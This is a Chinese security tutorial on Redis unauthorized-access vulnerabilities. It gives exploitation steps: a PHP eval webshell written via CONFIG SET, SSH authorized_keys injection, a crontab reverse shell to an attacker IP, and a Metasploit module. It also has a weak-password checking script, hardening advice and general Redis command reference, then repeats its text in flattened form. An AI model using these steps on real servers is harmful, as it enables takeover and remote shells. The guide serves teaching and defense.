浅谈redis未授权漏洞
字数 1985 2025-08-10 13:48:27

Redis未授权访问漏洞分析与防御指南

一、Redis未授权漏洞概述

Redis未授权访问漏洞是指Redis服务在默认配置下,未设置访问密码且未限制绑定IP,导致攻击者可以直接连接到Redis服务并执行任意操作的高危漏洞。

二、漏洞利用条件

1. 基本利用条件

  • Redis服务未设置密码认证
  • Redis绑定在0.0.0.0或未限制访问IP
  • 攻击者能够直接访问Redis服务端口(默认6379)

2. 写入Webshell条件

  • 需要修改Redis配置文件:
    • 去掉bind前面的注释符#
    • protected-mode设置为no

三、漏洞利用方法

1. 写入Webshell

config get dir  # 查看当前数据库路径
config set dir /var/www/html  # 修改为Web目录
config set dbfilename shell.php  # 设置文件名
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"  # 写入PHP代码
set xxx "\r\n\r\n<?php @eval($_POST['coleak']);?>\r\n\r\n"  # 写入一句话木马
save  # 保存

注意\r\n\r\n用于换行,避免Redis写入的版本信息影响代码执行。

2. SSH密钥认证利用

前提条件

  • Redis以root身份运行
  • 存在/root/.ssh目录(或可创建)
  • 未授权访问Redis

利用步骤

  1. 生成SSH密钥对:ssh-keygen -t rsa
  2. 将公钥内容写入文件并上传:
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    cat key.txt | redis-cli -h 目标IP -x set xxx
    
  3. 设置Redis数据库路径并保存:
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    save
    
  4. 使用私钥连接:ssh -i id_rsa root@目标IP

3. 利用crontab反弹Shell

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击者IP/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

攻击者监听端口:nc -lvnp 4444

4. MSF框架利用

msfdb run
search redis
use exploit/linux/redis/redis_unauth_exec
set RHOST 目标IP
run

四、漏洞检测方法

Python检测脚本

import socket
import sys

PASSWORD_DIC = ['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']

def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass

if __name__ == '__main__':
    ip = sys.argv[1]
    port = sys.argv[2]
    print check(ip, port, timeout=10)

五、防御措施

  1. 绑定IP:修改redis.conf文件,取消bind 127.0.0.1的注释,并限制为可信IP
  2. 设置密码
    CONFIG set requirepass "强密码"
    
    或修改redis.conf中的requirepass
  3. 启用保护模式protected-mode yes
  4. 修改默认端口:修改redis.conf中的port
  5. 限制命令执行:使用rename-command禁用危险命令
  6. 以非root用户运行Redis
  7. 配置防火墙规则,限制访问来源

六、Redis基础知识

1. 安装与配置

Ubuntu/Kali安装

sudo apt-get update
sudo apt-get install redis-server

启动Redis

redis-server  # 直接启动
redis-server /etc/redis/redis.conf  # 使用配置文件启动

连接Redis

redis-cli
redis-cli -h host -p port -a password
redis-cli --raw  # 避免中文乱码

2. 配置管理

CONFIG SET loglevel "notice"  # 修改配置
CONFIG GET loglevel  # 获取配置
CONFIG GET *  # 获取所有配置

3. 常用Key命令

  • DEL key:删除key
  • EXISTS key:检查key是否存在
  • EXPIRE key seconds:设置过期时间
  • KEYS pattern:查找匹配的key
  • TTL key:查看剩余生存时间
  • RANDOMKEY:随机返回一个key
  • RENAME key newkey:重命名
  • TYPE key:返回key类型
  • FLUSHALL:删除所有key

4. Redis数据类型

字符串(String)

  • SETEX key seconds value:设置带过期时间的值
  • GETRANGE key start end:获取子字符串
  • STRLEN key:获取字符串长度

列表(List)

  • LPUSH/RPUSH key value:左/右插入
  • LRANGE key start end:获取范围元素
  • LPOP/RPOP key:左/右弹出
  • LLEN key:获取列表长度
  • LTRIM key start end:保留区间元素

集合(Set)

  • SADD key member:添加元素
  • SMEMBERS key:获取所有元素
  • SREM key member:删除元素

有序集合(Sorted Set)

  • ZADD key score member:添加带分数的元素
  • ZRANGE key start end [WITHSCORES]:获取范围元素
  • ZSCORE key member:获取分数
  • ZRANK key member:获取排名

哈希(Hash)

  • HSET key field value:设置字段值
  • HGET key field:获取字段值
  • HGETALL key:获取所有字段值
  • HDEL key field:删除字段
  • HEXISTS key field:检查字段是否存在
  • HLEN key:获取字段数量

5. 高级功能

发布订阅(Pub/Sub)

SUBSCRIBE channel  # 订阅
PUBLISH channel message  # 发布

Stream消息队列

XADD stream * field value  # 添加消息
XLEN stream  # 消息数量
XRANGE stream - +  # 获取所有消息
XREAD COUNT num STREAMS stream 0  # 读取消息
XGROUP CREATE stream groupname $  # 创建消费者组

地理位置(Geo)

GEOADD key longitude latitude member  # 添加位置
GEOPOS key member  # 获取位置
GEODIST key member1 member2 [unit]  # 计算距离
GEORADIUS key longitude latitude radius unit  # 查找范围内的位置

HyperLogLog

PFADD key element [element...]  # 添加元素
PFCOUNT key  # 估算基数
PFMERGE destkey sourcekey [sourcekey...]  # 合并多个HyperLogLog

Bitmap

SETBIT key offset value  # 设置位
GETBIT key offset  # 获取位
BITCOUNT key [start end]  # 统计设置位数量
BITPOS key bit [start] [end]  # 查找第一个位

6. 事务

MULTI  # 开始事务
command1
command2
EXEC  # 执行事务
DISCARD  # 取消事务

7. 持久化

RDB快照

  • 自动触发:在redis.conf中配置save规则
  • 手动触发:SAVE(阻塞)或BGSAVE(后台)

AOF(Append Only File)

  • 启用:appendonly yes
  • 配置文件名:dbfilename appendonly.aof

七、总结

Redis未授权访问漏洞危害严重,可能导致数据泄露、服务器沦陷等后果。管理员应遵循最小权限原则,配置强密码,限制访问来源,并定期更新Redis版本。开发人员应避免在代码中硬编码Redis密码,并确保生产环境与开发环境的配置分离。

Redis未授权访问漏洞分析与防御指南 一、Redis未授权漏洞概述 Redis未授权访问漏洞是指Redis服务在默认配置下,未设置访问密码且未限制绑定IP,导致攻击者可以直接连接到Redis服务并执行任意操作的高危漏洞。 二、漏洞利用条件 1. 基本利用条件 Redis服务未设置密码认证 Redis绑定在0.0.0.0或未限制访问IP 攻击者能够直接访问Redis服务端口(默认6379) 2. 写入Webshell条件 需要修改Redis配置文件: 去掉 bind 前面的注释符 # 将 protected-mode 设置为 no 三、漏洞利用方法 1. 写入Webshell 注意 : \r\n\r\n 用于换行,避免Redis写入的版本信息影响代码执行。 2. SSH密钥认证利用 前提条件 : Redis以root身份运行 存在/root/.ssh目录(或可创建) 未授权访问Redis 利用步骤 : 生成SSH密钥对: ssh-keygen -t rsa 将公钥内容写入文件并上传: 设置Redis数据库路径并保存: 使用私钥连接: ssh -i id_rsa root@目标IP 3. 利用crontab反弹Shell 攻击者监听端口: nc -lvnp 4444 4. MSF框架利用 四、漏洞检测方法 Python检测脚本 五、防御措施 绑定IP :修改redis.conf文件,取消 bind 127.0.0.1 的注释,并限制为可信IP 设置密码 : 或修改redis.conf中的 requirepass 项 启用保护模式 : protected-mode yes 修改默认端口 :修改redis.conf中的 port 项 限制命令执行 :使用 rename-command 禁用危险命令 以非root用户运行Redis 配置防火墙规则 ,限制访问来源 六、Redis基础知识 1. 安装与配置 Ubuntu/Kali安装 : 启动Redis : 连接Redis : 2. 配置管理 3. 常用Key命令 DEL key :删除key EXISTS key :检查key是否存在 EXPIRE key seconds :设置过期时间 KEYS pattern :查找匹配的key TTL key :查看剩余生存时间 RANDOMKEY :随机返回一个key RENAME key newkey :重命名 TYPE key :返回key类型 FLUSHALL :删除所有key 4. Redis数据类型 字符串(String) SETEX key seconds value :设置带过期时间的值 GETRANGE key start end :获取子字符串 STRLEN key :获取字符串长度 列表(List) LPUSH/RPUSH key value :左/右插入 LRANGE key start end :获取范围元素 LPOP/RPOP key :左/右弹出 LLEN key :获取列表长度 LTRIM key start end :保留区间元素 集合(Set) SADD key member :添加元素 SMEMBERS key :获取所有元素 SREM key member :删除元素 有序集合(Sorted Set) ZADD key score member :添加带分数的元素 ZRANGE key start end [WITHSCORES] :获取范围元素 ZSCORE key member :获取分数 ZRANK key member :获取排名 哈希(Hash) HSET key field value :设置字段值 HGET key field :获取字段值 HGETALL key :获取所有字段值 HDEL key field :删除字段 HEXISTS key field :检查字段是否存在 HLEN key :获取字段数量 5. 高级功能 发布订阅(Pub/Sub) Stream消息队列 地理位置(Geo) HyperLogLog Bitmap 6. 事务 7. 持久化 RDB快照 自动触发:在redis.conf中配置 save 规则 手动触发: SAVE (阻塞)或 BGSAVE (后台) AOF(Append Only File) 启用: appendonly yes 配置文件名: dbfilename appendonly.aof 七、总结 Redis未授权访问漏洞危害严重,可能导致数据泄露、服务器沦陷等后果。管理员应遵循最小权限原则,配置强密码,限制访问来源,并定期更新Redis版本。开发人员应避免在代码中硬编码Redis密码,并确保生产环境与开发环境的配置分离。